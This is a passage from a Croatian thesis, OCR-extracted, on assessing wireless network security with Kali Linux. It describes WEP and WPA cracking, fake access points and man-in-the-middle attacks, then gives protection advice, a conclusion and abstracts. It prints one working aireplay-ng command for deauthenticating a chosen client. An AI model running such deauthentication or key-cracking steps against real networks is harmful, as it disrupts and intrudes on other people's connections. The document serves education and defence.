zapocinje ponovno osluskivanjem prometa, zatim se stvara pristupna tocke sa istim imenom kao
Sto ima ovjerena mreZa. Nakon toga je postupak jednak kao pri probijanju WEP kljuc¢a. Moze se
zakljuciti kako WEP pristupna to¢ka ne mora dokazati klijentu poznavanje WEP kljuca kako bi
dobila Sifrirane podatke. Prva informacija prilikom komunikacije uvijek ce biti ARP zahtjev koji
trazi IP adresu uredaja. Napad je uspjeSan zbog ponavljanja paketa ARP zahtjeva koje Salje
pristupna tocka stvorena od strane napadaca. ARP zahtjevi uvjetovat ¢e ARP odgovore od strane
klijenta Sto znaci da se stvaraju velike koli¢ine podataka koje su potrebne za deSifriranje WEP
kljuca. Svi su paketi Sifrirani WEP klju¢em koji dolazi za klijenta $to je razlog zaSto je ovakav

napad uspjeSan.
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Napad deautentikacije korisnika jednak je kao i do sada objasnjeni, razlika je u tome $to se moze
definiranjem MAC adrese uredaja izvrsiti prisilna odjava samo jednog korisnika. Izraz za to je

sljedeci: aireplay-ng --deauth 0 -a <MAC_Kklijenta> --ignore-negative-one wlanOmon.

AP-less WPA-Personal napad predstavlja probijanje WPA Sifre bez prisutnosti pristupne tocke.
Temelji se na hvatanju rukovanja klijenta i lazne kreirane pristupne to¢ke od strane napadaca.
Dobivene informacije su dovoljne kako bi se mogao provesti pokusaj probijanja uz pomo¢ popisa

¢estih lozinki.

Spomenuti Man-in-the-Middle napad predstavlja jedan od najuspje$nijih napada na bezi¢nu
mrezu. Postoje razliciti nacini kako provesti ovakvu vrstu napada, a najces¢i je kada je napadac
povezan zi¢ano na pristupnu tocku te podesava svoje racunalo kao zlonamjernu pristupnu tocku i
premoscuje promet. Tako se sva komunikacija izmedu pristupne tocke i korisnika odvija preko

napadacevog racunala, a on ima pristup svim podacima.

4.6. Kako se zaStititi?

Nakon spoznaje raznih oblika napada na bezi¢nu mrezu postavlja se pitanje kako se zapravo
zastitit. Kao Sto to rade penetracijski testeri, treba iskoristiti znanje o mogucim napadima kako bi
se iste moglo sprijeciti. Prvi korak je uvijek postojanje nekakvog oblika zastitnog mehanizma,
odnosno enkripcije. U slucaju postavke pristupne tocke kao otvorene razina zastite jednaka je nuli.
Podaci i sav promet €itljivi su iz bilo kojeg softvera koji osluskuje 1 prati komunikacije iz zraka te
th napada¢ mozZe iskoristiti za svoje potrebe. Mnogi proizvodaci usmjerivaca su u pocetku smatrali
kako su skriveni SSID i filteri MAC adresa siguran nacin zastite od napada. Medutim dokazano je

suprotno uz pomo¢ Wireshark-a i terminala Kali-a gdje se ti podaci mogu dobiti vrlo jednostavno.

Zastita dijeljenim klju¢em napredovala je kroz godine razvitkom sloZenijih algoritama za
kodiranje podataka. Prvi oblik klju¢a, WEP, se u danasnjici rijetko koristi ali ipak pronalazi svoju
primjenu. Medutim, primjenom odredenih naredbi uspjeh njegovog probijanja je sigurna $to
ukazuje na nesigurnost takvog kljuca. Za razliku od WEP-a, WPA i WPA2 su sloZeni i smatraju
se kriptografski neprobojnima. Provode se pokusaji probijanja uz pomo¢ velikih popisa cesto
koristenih lozinki, a postotak uspjesnosti ovisi o slozenosti koristene lozinke. Preporuka je lozinku
uciniti Sto viSe jedinstvenom, dakle, koristiti §to duzu rije¢ koja po moguénosti nema nikakvog

smisla uz dodavanje brojeva i posebnih znakova.

Osim pokuSaja desifriranja kljuceva za zaStitu, postoje razni napadi na infrastrukturu bezi¢ne

mreze. Napadaci stvaraju lazne pristupne tocke 1 prisilnom odjavom korisnika sa ovlaStene mreze
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uspiju ga prevariti u spajanju na pogresnu mrezu. To mogu iskoristiti kako bi zadobili pristup
odredenim podacima i izvedbu raznih napada kao Sto je i Man in the Middle napad. Preporuka
zastite od ovakve vrste napada temelji se na oprezu i znanju samog korisnika. Nikada ne koristiti
otvorene javne mreze jer se nikad ne zna tko upravlja njom sa druge strane. Ako se pak mora
koristiti, izbjegavati upisivanje vaznih vjerodajnica kao §to su korisnicko ime i lozinka. Uvijek
provjeriti radi li se o sigurnoj web stranici traze¢i https oznaku. Napadaci mogu kopirati web
stranice $§to moze prevariti korisnika. Smatrajuéi da se radi o sigurnoj stranici nece primijetiti
razliku pa moguce unijeti vazne informacije prijavom na, primjerice, bankovni rac¢un. U vlastitom
domu obavezno koristiti WPA zastitu uz jak klju¢ te ne dozvoliti povezivanje nepovjerljivim

osobama u mrezu.

Jedan oblik zasStite je 1 koriStenje virtualne privatne mreze. Ona pruza sigurnost ¢ak i od
osluskivanja prometa iako se radi o zraénoj komunikaciji jer Sifrira podatke. Cak i da dode do

osluskivanja podataka oni napadacu ne¢e puno pomoci.

Opcenite preporuke koje mogu pridonijeti sigurnosti sustava i racunalne mreze su: nikada ne
kliknuti na sumnjive linkove, koristiti i redovno osvjezavati antivirusne softvere i koristiti jako
dobar vatrozid, Takoder osvjezavati sustav i aplikacije jer ¢esto starije verzije su sklone pronalasku
ranjivosti. Koristiti dvostruki faktor autentikacije, tj. pored korisnickog imena i lozinke, uredaj
dodatno zastititi nekim oblikom biometrije, kao $to je otisak prsta primjerice na pametnim

telefonimai sl.
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5. ZAKLJUCAK

Cilj ovog diplomskog rada bio je analizirati sigurnost bezicnih mreza primjenom Kali Linux
distribucije te je primijeniti na razli¢itim primjerima u okruzenju bezi¢nih mreza, a prikupljene

rezultate iskoristiti kako bi se istaknule preporuke i smjernice za povecanje razine sigurnosti.

Definirano je Sto je i kako izgleda Kali, opisana njegova uloga i na¢in kako se azurira 1 odrzava.
Zatim je navedena teorijska podloga u postupku provodenja napada ili penetracijskog testiranja s

radnjama i razmisljanjima napadaca ili penetracijski testera.

Vrseni su testovi penetracije nad razli¢itim parametrima WLAN mreze. Osnovna metoda svakog
napada je osluskivanje buduéi da se komunikacija i prijenos podataka odvija zrakom. Dokazano
je kako skrivanje SSID-a i filtriranje MAC adresa nije siguran nacin zastite od napada jer se
uporabom programa za osluskivanje prometa i unosom par naredbi u Kali terminalu lako dolazi
do trazenih informacija. Testirana je uspjeSnost probijanja kljuceva za prijavu na WLAN mrezu
kao $to su WEP, WPA i WPA2. WEP se temelji na algoritmu koji koristi inicijalizacijske vektore.
Inicijalizacijski vektori se ponavljaju nakon odredenog broja okvira pa se probijanje vrsi
prikupljanjem velikog broja paketa i usporedbom Sifriranih tekstova. Na taj nacin ¢e se WEP kljuc
probiti uvijek uz dovoljan broj paketa Sto je znak kako WEP zastita nije sigurna. WPA 1 WPA2
zaStita se trenutno smatra kriptografski neprobojnom uz prisustvo dovoljno jakog kljuca. Uz uvjet
slabog kljuca, probijanje je moguce na slican na¢in kao 1 WEP, ali je potreban rje¢nik, odnosno
ogroman popis ¢esto koristenih lozinki. Ako se lozinka nalazi na popisu probijanje WPA ili WPA2
kljuCa ¢e uspjeti pa je preporuka koristiti §to duZu jedinstvenu lozinku uporabom brojeva i

posebnih znakova.

Opasni su jos i napadi na infrastrukturu WLAN mreZe koji se temelj na stvaranju laZne pristupne
tocke 1 prisiljavanje korisnika na njihovo spajanje. Od njih se mozZe zastititi opreznim rukovanjem
I pristupanju samo sigurnih internet stranica sa oznakom https. Kako se komunikacija odvija
zrakom osluskivanje je neizbjezno, ali se od njega moZze zastitit koriStenjem virtualne privatne
mreze koja Sifrira sav promet izmedu korisnika i usmjerivaca. Preporuka je dakako i obvezna
koriStenja antivirusnih softvera 1 dobrog vatrozida, kao i izbjegavanje koriStenja vaznih

vjerodajnica ako je korisnik spojen na javnim mreZama.
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SAZETAK

Kali Linux okruZenje je temeljeno na Debian Linux distribuciji usmjereno na napredno testiranje
penetracije raCunalnih sustava. Koristi se za spoznaju slabosti i nedostataka racunalnih sustava
prije nego to ucine hakeri i iskoriste pristup podacima u svoje svrhe. Svaki napad prati odredena
pravila i postupke. Drugim rije¢ima, prikupljaju se informacije i vr$i njihovo iskoriStavanje kako
bi se djelovalo na cilj ili omogucilo dodatne napade. WLAN predstavlja bezi¢nu racunalnu mrezu
koja povezuje dva ili viSe uredaja bezicnom komunikacijom. Upravo iz tog razloga postoje razne
sigurnosne slabosti takvih mreza. Kako bi se povecala razina sigurnosti provedeni su testovi s Kali
Linux-om nad raznim parametrima bezi¢ne mreze. Kada klijent zna podrucje djelovanja napada
moze se primjereno prilagoditi i postupati kako bi napad sprije¢io. Koristenjem terminala Kali-a i
Wireshark-a dokazani su nedostaci skrivanja SSID-a, MAC filtriranja, te WEP/WPA/WPA2
enkripcije. WEP se moze probiti uvijek pa se smatra ne sigurnim, a WPA/WPA2 se trenutno
smatraju kriptografski neprobojnim uz postojanje jakog jedinstvenog kljuca. Opcenito treba
pazljivo rukovati mreZzom, osobito ako se koriste javne mreze, a isto tako preporucljivo je koristiti

antivirusne sustave i vatrozide.

Klju¢ne rijeéi: Kali Linux, napadaci, penetracijski testeri, izvidanje, iskoriStavanje, bezi¢na mreza,

sigurnost, ovjera, Sifriranje, vjerodajnice, pristupna tocka, klijent, zastita.
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The Application of Kali Linux for Security Analysis of Wireless Networks

The Kali Linux environment is based on the Debian Linux distribution focused on advanced
computer network penetration testing. It is used to detect weaknesses and disadvantages of
computer systems before hackers do it and exploit the access to data for their purposes. Each attack
follows certain rules and procedures. With other words, information is collected and exploited to
influence the target or to allow additional attacks. WLAN represents a wireless computer network
that connects two or more devices with wireless communication. That is why there are various
security weaknesses of such networks. To increase the security level, tests with Kali Linux have
been carried out over various wireless network parameters. When a client knows the scope of the
attack, he can adapt and act appropriately to prevent it. Using the Kali terminal and Wireshark has
shown the lack of a hidden SSID, MAC filtering and WEP/WPA/WPA2 encryption. WEP can
always be cracked, so it is considered unsafe, and WPA/WPA2 are currently considered
cryptographically impenetrable with the existence of a strong unique key. In general, care should
be taken when handling in a network, especially if public networks are used, and it is also advisable

to use antivirus systems and firewalls.

Key words: Kali Linux, hackers, penetration testers, scanning/reconnaissance, exploitation,

wireless network, security, authentication, encryption, credentials, access point, client, protection.
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